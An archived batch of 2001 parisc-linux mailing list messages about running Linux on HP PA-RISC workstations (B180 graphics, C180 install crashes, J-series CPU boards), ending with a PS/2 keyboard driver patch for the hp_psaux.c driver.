NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 01:55:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63F82482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Aug 2001 01:55:05 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id JAA02071;
  Mon, 6 Aug 2001 09:56:29 +0200 (MESZ)
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <20010805164832.A4767@solo.franken.de>
X-SAP: out
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:11815

Hi Thomas

On Sunday 05 August 2001 16:48, Thomas Bogendoerfer wrote:
> On Fri, Aug 03, 2001 at 12:45:01PM +0200, Helge Deller wrote:
> > Currently stifb will run on most 712 and 715 machines, while B160, B180,
> > C3000 and most others won't.
>
> you saw X on the B180 I had at LinuxTag:-) Treating the EG VISULIZE as an
> artist graphics card did the trick.

... and including this patch/assumption would break too many other machines 
(esp. 64bit machines, e.g. the c3k) and make the kernel unusable for much 
more people.
But I now have contact to someone inside HP which has far more knowledge 
than me about STI and we're working on a cleaner solution (at least as far as 
my time permits me currently).

Greetings,
Helge




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B180
Date: Mon, 6 Aug 2001 12:53:05 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <OF5E269C88.FE889441-ONC1256AA0.00395B90@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620363 23430 80.91.229.3 (22 Nov 2014 01:39:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:23 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	Helge Deller <helge.deller@sap.com>,
	parisc-linux@lists.parisc-linux.org
To: "Thomas Bogendoerfer <tsbogend" <tsbogend%alpha.franken.de%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 04:50:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1E41482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Aug 2001 04:50:26 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d553455064a@epirel991.europay.com>;
 Mon, 6 Aug 2001 12:50:07 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/06/2001 12:53:06 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11816

Thomas,

Nice.

Sorry but with xf86config I try to scan all available card and do not find
any reference to "artist graphic". It is certainly well know under another
achronim but I do not find (AGX?).

May I ask you the favour to sen d me your XF86config file?

Thanks in advance for help,
     Joel



                                                                           =
                                           =20
                    Thomas                                                 =
                                           =20
                    Bogendoerfer             To:     Helge Deller <helge.de=
ller@sap.com>@SMTP@EUROPAY                 =20
                    <tsbogend@alpha.f        cc:     Jo=EBl Soete/BRU/MASTE=
RCARD@MASTERCARD,                            =20
                    ranken.de>               parisc-linux@lists.parisc-linu=
x.org@SMTP@EUROPAY,                        =20
                                             debian-hppa@lists.debian.org@S=
MTP@EUROPAY                                =20
                    05-08-01 04:48 PM        Subject:     Re: [parisc-linux=
] XFree86 on B180                          =20
                                                                           =
                                           =20
                                                                           =
                                           =20



On Fri, Aug 03, 2001 at 12:45:01PM +0200, Helge Deller wrote:
> Currently stifb will run on most 712 and 715 machines, while B160, B180,
> C3000 and most others won't.

you saw X on the B180 I had at LinuxTag:-) Treating the EG VISULIZE as an
artist graphics card did the trick.

Thomas.

--
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel
]





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Smith, Todd" <Todd.Smith@Camcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] The new parisc-linux-boot HOWTO
Date: Mon, 6 Aug 2001 09:47:39 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <2B3ABA2F850AD011937D0000C00700D005DE19B0@kes.camcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620364 23434 80.91.229.3 (22 Nov 2014 01:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:24 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org '" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 07:44:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail2.camcare.com (unknown [206.193.125.77])
	by dsl2.external.hp.com (Postfix) with ESMTP id 877B7482A
	for <parisc-linux@parisc-linux.org>; Mon,  6 Aug 2001 07:44:51 -0600 (MDT)
Original-Received: by MAIL2 with Internet Mail Service (5.5.2650.21)
	id <QJZAFA7A>; Mon, 6 Aug 2001 09:51:06 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11817

Hello Thomas,

I want to thank you for your work on the HOWTO.  It looks very
straight-forward and it answered the questions that I had about the process.

Thank you for your time.

Todd Smith <todd.smith@camcare.com>




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180: no real progress :-(
Date: Mon, 6 Aug 2001 22:38:13 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <01080622381300.01641@octopus>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620364 23440 80.91.229.3 (22 Nov 2014 01:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:24 +0000 (UTC)
Cc: grundler@puffin.external.hp.com, rbradetich@uswest.net,
	rhirst@linuxcare.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 14:38:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8436482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Aug 2001 14:38:17 -0600 (MDT)
Original-Received: from [194.97.50.135] (helo=mx2.freenet.de)
	by mout1.freenet.de with esmtp (Exim 3.32 #1)
	id 15Tr8h-000193-00; Mon, 06 Aug 2001 22:38:15 +0200
Original-Received: from a334b.pppool.de ([213.6.51.75] helo=octopus)
	by mx2.freenet.de with smtp (Exim 3.32 #1)
	id 15Tr8g-0007Z6-00; Mon, 06 Aug 2001 22:38:14 +0200
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11818

Hi friends !

In the past days I learned a lot about HP workstations and the 
Linux port to hppa/parisc.

After I could exchange my first used C180 (256 MB, 2*4,5 GB 
FWSCSI HDD, GRAPHICS(3) accelerated graphics) by a newer model 
of the same series (C180) I tried to get palinux-0.9.2 
up-n-running on that box.

Few weeks ago I posted some thoughts I had in this mailing list 
because palinux-0.9.2 was crashing on the older box all the 
time during installation.

Some kernel messages led my in the false direction. I thought 
DINO (h/w v2.1; or better the software glue of DINO) was the 
root cause of "my" problems. This box had firmware v2.7.

Installation via network/NFS did not work because of problems; 
With the older box i tried many things (100Mbps, 10Mbps, Hub, 
cross-over cable) but no success ...

After I got the replacement on Friday (DINO v3.1 [which should 
be ok. according the kernel messages ...], firmware v5.1) the 
problems are still present.

BTW: Grant, you are right ! But newer firmware seems not to 
solve the problem ...

I tried serial console device as well as STI console [PS/2 
keyboard/mouse, GRAPHICS(0) with PC-style video monitor via HP 
adaptor connector].

The C180 boots palinux-0.9.2 from CD (additional drive at 
SESCSI). The system crashes either during kernel/driver 
installation (1st stage) or during "software" installation (2nd 
stage).

Only one time I could get the system installed from serial 
console. As I tried to switch to STI console the keyboard port  
problem hit me; The only chance was to reboot the box. As a 
result the root filesystem was corrupted so hard that fsck had 
problems tpo repair the corrupted filesystem ... :-(

At this point I have some (foe me) important questions:

Has anybody a running C180 under palinux-0.9.2 ?

Has anybody similar problems with other HP w/s and could solve 
those problems ? How solved ?

Some hints to the kernel guys:

[1] Try to fix the keyboard port problem ! I don't know how 
many reboots I had top handle this weekend but un-/replugging 
the keyboard is very boring ... :-)

[2] Try to get full support of any key (at least german 
keyboard support lacks on essential things ...) eg. no 
pipe/vertical bar; no support of capslock (keyboard unusable 
after accidently hit capslock; nothing helped; un-/replug, too)

[3] Sometimes I could see a message like
"ioctl: LOOP_CLR_FD: No such device or address"
short time before the C180 crashed. Any idea ?

Some hints to the system guys:

[1] Do real disabling of "dhcp-client" if it is set to "no" 
during installation. (Those kernel message caused by 
dhcp-client are boring; try it with open editor; great ;-)

[2] Try to include a date check/set into the installation 
routine; user should be informed about hardware clock setting)


I'm still trying to get that beast (= my C180) up-n-running !

Any help would be great !


Reinhard.




From - Thu Nov 08 21:18:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180: no real progress :-(
Date: Mon, 6 Aug 2001 23:13:39 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20010806231339.Z1011@linuxcare.com>
References: <01080622381300.01641@octopus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620364 23451 80.91.229.3 (22 Nov 2014 01:39:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 16:12:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id A204E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Aug 2001 16:12:29 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 700B5B00C; Mon,  6 Aug 2001 23:13:39 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01080622381300.01641@octopus>; from Reinhard.Gimbel@freenet.de on Mon, Aug 06, 2001 at 10:38:13PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11819

On Mon, Aug 06, 2001 at 10:38:13PM +0200, Reinhard Gimbel wrote:
> The C180 boots palinux-0.9.2 from CD (additional drive at 
> SESCSI). The system crashes either during kernel/driver 
> installation (1st stage) or during "software" installation (2nd 
> stage).

I have heard of a C160 with what could be similar problems.  The C160
has internal diff scsi drives, and it seems that using that interface
causes disk corruption.  The only way he managed an install was to
disconnect all devices from the diff scsi interface, and install to
disks on the external scsi.  Is that something you can try easily?
Note, he had to physically disconnect the diff disks, it wasn't sufficient
to simply not use them.

What scsi interfaces does that box have anyway?  Boot up msgs should
mention chip numbers - 53c710, 53c720, etc.

> [1] Try to fix the keyboard port problem ! I don't know how 
> many reboots I had top handle this weekend but un-/replugging 
> the keyboard is very boring ... :-)

That problem is being actively worked on.

> [2] Try to get full support of any key (at least german 
> keyboard support lacks on essential things ...) eg. no 
> pipe/vertical bar; no support of capslock (keyboard unusable 
> after accidently hit capslock; nothing helped; un-/replug, too)

Hmm, yeah; I had a UK keyboard where pipe key didn't work.  I got it
with <alt>+124 on the numeric pad, or with <alt-gr> and the key to
the left of '1' (back-quote, etc).  Obviously needs fixing though.

> [3] Sometimes I could see a message like
> "ioctl: LOOP_CLR_FD: No such device or address"
> short time before the C180 crashed. Any idea ?

That's a feature of the installer ;)  Happens on all archs and is harmless.

> Some hints to the system guys:
> 
> [1] Do real disabling of "dhcp-client" if it is set to "no" 
> during installation. (Those kernel message caused by 
> dhcp-client are boring; try it with open editor; great ;-)

That is a problem with the dhcp-client package, again common to all
archs.  The solution is "rm /etc/rc?.d/*dhcp-client".  It has been
discussed on the debian-boot list, and hopefully someone will fix it.
It has been suggested that we switch back to using pump.  There is a
new version of dhcp-client in experimental, but it is much bigger, which
causes problems for people that boot from floppies, at least.

> [2] Try to include a date check/set into the installation 
> routine; user should be informed about hardware clock setting)

I agree, telling what the time is in GMT and in your timezone without
giving you a chance to do anything about it is a little pointless.  You
can use the firmware to set it correctly before you start, but if you are
like me you always forget until it is too late.

Richard





From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tony Mori" <tonym@compusource.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J series question
Date: Tue, 7 Aug 2001 01:47:34 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <014f01c11f04$77693b80$0364a8c0@mori.miami.fl.us>
References: <01080622381300.01641@octopus> <20010806231339.Z1011@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620365 23459 80.91.229.3 (22 Nov 2014 01:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 23:47:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imf12bis.bellsouth.net (mail112.mail.bellsouth.net [205.152.58.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id E304B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Aug 2001 23:46:59 -0600 (MDT)
Original-Received: from spyder ([65.80.40.71]) by imf12bis.bellsouth.net
          (InterMail vM.5.01.01.01 201-252-104) with SMTP
          id <20010807054754.EDUV6872.imf12bis.bellsouth.net@spyder>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 7 Aug 2001 01:47:54 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11820

Can J282 CPU be put into J200, or J210? Is there any corss-reference
available for CPU boards and what machines they can fit into?


Tony






From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J series question
Date: Tue, 07 Aug 2001 08:00:12 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3B6F83EC.AEC76C85@esiee.fr>
References: <01080622381300.01641@octopus> <20010806231339.Z1011@linuxcare.com> <014f01c11f04$77693b80$0364a8c0@mori.miami.fl.us>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620365 23460 80.91.229.3 (22 Nov 2014 01:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tony Mori <tonym@compusource.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  6 23:56:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BB71482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Aug 2001 23:56:36 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8362AD15DD; Tue,  7 Aug 2001 07:56:35 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11821

Hi Tony,

According to
http://hwdb.parisc-linux.org/view.php3?type=machine&name=J282 , the
model is a 780 Firhawk with a PCXU cpu. As far as I know, it is onee of
the model in 64 bits. And the J200/210 are 770 models with PCXT'. In my
opinion, you should not do that but I may be mistaken.
 
> Can J282 CPU be put into J200, or J210? Is there any corss-reference
> available for CPU boards and what machines they can fit into?
 
Thomas.
ESIEE Team




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The final patch for the keyboard problem
Date: Tue, 07 Aug 2001 09:27:41 +0200
Lines: 312
Approved: news@gmane.org
Message-ID: <3B6F986D.FA89E147@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------4B071F3141DE6CF374BA41D0"
X-Trace: ger.gmane.org 1416620365 23465 80.91.229.3 (22 Nov 2014 01:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:25 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 01:24:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14088482A
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 01:24:17 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 7651BD15DA
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 09:24:04 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11822

This is a multi-part message in MIME format.
--------------4B071F3141DE6CF374BA41D0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	It is my last patch solving the keyboard problem on BXXX and CXXX. It
should correct most of them but I would like to have feedback before I
check the bug report. I must also add that this patch is not yet tested
with Matthew Wilcox's version, according to his mail (
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-August/013302.html
). I will do it as soon as possible.

Regards, Thomas.
ESIEE Team
--------------4B071F3141DE6CF374BA41D0
Content-Type: text/plain; charset=us-ascii;
 name="keyboard.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="keyboard.patch"

diff -Nru linux/drivers/char/hp_psaux.c linux.new/drivers/char/hp_psaux.c
--- linux/drivers/char/hp_psaux.c	Wed Aug  1 00:11:04 2001
+++ linux.new/drivers/char/hp_psaux.c	Tue Aug  7 09:10:39 2001
@@ -42,6 +42,7 @@
 
 /* HP specific LASI PS/2 keyboard and psaux constants */
 #define	AUX_REPLY_ACK	0xFA	/* Command byte ACK. */
+#define	AUX_RESEND	0xFE	/* Sent by the keyb. Asking for resending the last command. */
 #define	AUX_RECONNECT	0xAA	/* scancode when ps2 device is plugged (back) in */
 
 #define	LASI_PSAUX_OFFSET 0x0100 /* offset from keyboard to psaux port */
@@ -70,8 +71,7 @@
 #define LASI_STAT_CLKSHD 0x80
 
 static void *lasikbd_hpa;
-static void *lasips2_hpa;
-
+static int cmd_status;
 
 static inline u8 read_input(void *hpa)
 {
@@ -105,9 +105,10 @@
 		}
 	}
 
+#if 0
 	if (wait)
 		printk(KERN_DEBUG "Lasi PS/2 wait %d\n", wait);
-	
+#endif
 	gsc_writeb(val, hpa+LASI_XMTDATA);
 
 	return 1;
@@ -122,9 +123,23 @@
 
 static void lasikbd_leds(unsigned char leds)
 {
-	write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
-	write_output(leds, lasikbd_hpa);
-	write_output(KBD_CMD_ENABLE, lasikbd_hpa);
+	cmd_status=2;
+	while (cmd_status!=0) {
+		write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
+		mdelay(1); 
+	}
+   
+	cmd_status=2;
+	while (cmd_status!=0) {
+		write_output(leds, lasikbd_hpa);
+		mdelay(1);
+	}
+
+	cmd_status=2;
+	while (cmd_status!=0) {
+	   write_output(KBD_CMD_ENABLE, lasikbd_hpa);   
+	   mdelay(1);
+	}
 }
 
 #if 0
@@ -154,10 +169,56 @@
 }
 #endif 
 
-static int __init lasi_ps2_reset(void *hpa, int id)
+static int init_keyb(void* hpa)
+{
+	int fail;
+	u8 data;
+	
+	
+	do {
+		while ((read_status(hpa) & LASI_STAT_TBNE)==0x01);
+		gsc_writeb(KBD_CMD_SET_LEDS, hpa+LASI_XMTDATA);
+		
+		while ((read_status(hpa) & LASI_STAT_RBNE)==0x00);
+		
+		while ((read_status(hpa) & LASI_STAT_RBNE)==0x01) data=read_input(hpa);      
+	}while(data!=AUX_REPLY_ACK); 
+	
+	fail=0;
+	
+	do {
+		while ((read_status(hpa) & LASI_STAT_TBNE)==0x01);
+		gsc_writeb(0x00, hpa+LASI_XMTDATA);
+		
+		while ((read_status(hpa) & LASI_STAT_RBNE)==0x00);
+   
+		while ((read_status(hpa) & LASI_STAT_RBNE)==0x01) {
+			data=read_input(hpa);
+			fail++; 
+			if(fail==10) break; 
+		}
+   	}while(data!=AUX_REPLY_ACK); 
+
+	fail=0;
+	do {   
+		while ((read_status(hpa) & LASI_STAT_TBNE)==0x01);
+		gsc_writeb(KBD_CMD_ENABLE, hpa+LASI_XMTDATA);
+      
+		while ((read_status(hpa) & LASI_STAT_RBNE)==0x00);
+		while ((read_status(hpa) & LASI_STAT_RBNE)==0x01) {
+			data=read_input(hpa);
+			fail++; 
+			if(fail==10) break; 
+		}
+
+	}while(data!=AUX_REPLY_ACK); 
+   
+	return 1;
+}
+
+static void __init lasi_ps2_reset(void *hpa)
 {
 	u8 control;
-	int ret = 1;
 
 	/* reset the interface */
 	gsc_writeb(0xff, hpa+LASI_RESET);
@@ -166,25 +227,8 @@
 	/* enable it */
 	control = read_control(hpa);
 	write_control(control | LASI_CTRL_ENBL, hpa);
-
-        /* initializes the leds at the default state */
-        if (id==0) {
-           write_output(KBD_CMD_SET_LEDS, hpa);
-	   write_output(0, hpa);
-	   ret = write_output(KBD_CMD_ENABLE, hpa);
-	}
-
-	return ret;
 }
 
-static int inited;
-
-static void lasi_ps2_init_hw(void)
-{
-	++inited;
-}
-
-
 /* Greatly inspired by pc_keyb.c */
 
 /*
@@ -362,7 +406,7 @@
 	lock_kernel();
 	fasync_aux(-1, file, 0);
 	if (--aux_count) {
-	   unlock_kernel();
+		unlock_kernel();
 		return 0;
 	}
 	unlock_kernel();
@@ -398,62 +442,60 @@
         id = gsc_readb(hpa+LASI_ID) & 0x0f;
         
         if (id==1) 
-           hpa -= LASI_PSAUX_OFFSET; 
-        lasikbd_hpa = hpa;
-        
-
+		hpa -= LASI_PSAUX_OFFSET; 
+	
         status_keyb = read_status(hpa);
         status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
 
         while ((status_keyb|status_mouse) & LASI_STAT_RBNE){
            
-           while (status_keyb & LASI_STAT_RBNE) {
+		while (status_keyb & LASI_STAT_RBNE) {
 	      
-              scancode = read_input(hpa);
+		scancode = read_input(hpa);
 
-	      /* XXX don't know if this is a valid fix, but filtering
-	       * 0xfa avoids 'unknown scancode' errors on, eg, capslock
-	       * on some keyboards.
-	       */
-	      if (inited && scancode != 0xfa)
-		 handle_at_scancode(scancode); 
+	        /* XXX don't know if this is a valid fix, but filtering
+	         * 0xfa avoids 'unknown scancode' errors on, eg, capslock
+	         * on some keyboards.
+	         */
+	      	      
+		if (scancode == AUX_REPLY_ACK) 
+			cmd_status=0;
+			
+		else if (scancode == AUX_RESEND)
+			cmd_status=1;
+		else 
+			handle_at_scancode(scancode); 
 	      
-	      status_keyb =read_status(hpa);
-           }
+		status_keyb =read_status(hpa);
+		}
 	   
 #ifdef CONFIG_PSMOUSE
-           while (status_mouse & LASI_STAT_RBNE) {
-	      scancode = read_input(hpa+LASI_PSAUX_OFFSET);
-	      handle_mouse_scancode(scancode);
-              status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
-	   }
-           status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
+		while (status_mouse & LASI_STAT_RBNE) {
+			scancode = read_input(hpa+LASI_PSAUX_OFFSET);
+			handle_mouse_scancode(scancode);
+			status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
+		}
+		status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
 #endif /* CONFIG_PSMOUSE */
-           status_keyb = read_status(hpa);
+		status_keyb = read_status(hpa);
         }
 
         tasklet_schedule(&keyboard_tasklet);
         return (status_keyb|status_mouse);
 }
-
-
-
 	
 extern struct pt_regs *kbd_pt_regs;
 
 static void lasikbd_interrupt(int irq, void *dev, struct pt_regs *regs)
 {
-	lasips2_hpa = dev; /* save "hpa" for lasikbd_leds() */
 	kbd_pt_regs = regs;
-	handle_lasikbd_event(lasips2_hpa);
+	handle_lasikbd_event(dev);
 }
 
-
 extern int pckbd_translate(unsigned char, unsigned char *, char);
 
 static struct kbd_ops gsc_ps2_kbd_ops = {
 	translate:	pckbd_translate,
-	init_hw:	lasi_ps2_init_hw,
 	leds:		lasikbd_leds,
 #ifdef CONFIG_MAGIC_SYSRQ
 	sysrq_key:	0x54,
@@ -487,20 +529,11 @@
 	}
 	
 	/* reset the PS/2 port */
-	device_found = lasi_ps2_reset(hpa,id);
-
-	/* allocate the irq and memory region for that device */
-	if (!(irq = busdevice_alloc_irq(d)))
-		return -ENODEV;
-		    
-	if (request_irq(irq, lasikbd_interrupt, 0, name, hpa))
-		return -ENODEV;
-	
-	if (!request_mem_region((unsigned long)hpa, LASI_STATUS + 4, name))
-		return -ENODEV;
+	lasi_ps2_reset(hpa);
 
 	switch (id) {
 	case 0:	
+	        device_found = init_keyb(hpa);
 		register_kbd_ops(&gsc_ps2_kbd_ops);
 		break;
 	case 1:
@@ -526,6 +559,18 @@
 #endif
 	} /* of case */
 	
+        /* allocate the irq and memory region for that device */
+	if (!(irq = busdevice_alloc_irq(d)))
+		return -ENODEV;
+		    
+	if (request_irq(irq, lasikbd_interrupt, 0, name, hpa))
+		return -ENODEV;
+	
+	if (!request_mem_region((unsigned long)hpa, LASI_STATUS + 4, name))
+		return -ENODEV;
+
+
+
 	printk(KERN_INFO "PS/2 %s controller at 0x%08lx (irq %d) found, "
 			 "%sdevice attached.\n",
 			name, (unsigned long)hpa, irq,
@@ -548,4 +593,3 @@
 }
 
 module_init(gsc_ps2_init);

From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
